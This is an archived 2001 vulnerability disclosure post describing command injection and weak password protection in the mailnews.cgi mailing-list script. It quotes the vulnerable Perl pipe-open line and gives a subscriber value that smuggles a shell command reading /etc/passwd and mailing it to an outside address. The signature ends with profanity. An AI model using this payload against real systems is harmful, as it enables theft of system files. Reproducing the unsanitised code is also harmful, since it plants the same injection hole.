Date: Sun, 18 Feb 2001 22:04:54 +0000 (GMT) From: Kanedaaa Bohater To: Subject: CGI - mailnews.cgi vulnerability... Hello BuGReaders... ##Script: mailnews.cgi ##Introduction: CGI-Script MAILNEWS 1.3 This script helps you to maintain a mailinglist. ##Tested Version: 1.1, 1.3 Author dont parse some characters and he use very stupid "password protection". We can add or delete users from maillist without known admin password. But this is small problem ;] . Lets see what we can do more. open (MAIL, "|$mailprog $member") || die "Can't open $mailprog!\n"; where $mailprog [default] is sendmail and $member is users from usersfile. Now we can do something like this. Add user "; cat /etc/passwd | mail adam@malysz.pl' and use subroutine to execute this code :] Simple exploit in html:
Execute command :] Peace... Who : Kanedaaa ***$$$### " I moze bardzo wielu nie zrozumie tych slow... Ale nie ma litosci dla SKURWYSYNOW .... " ###$$*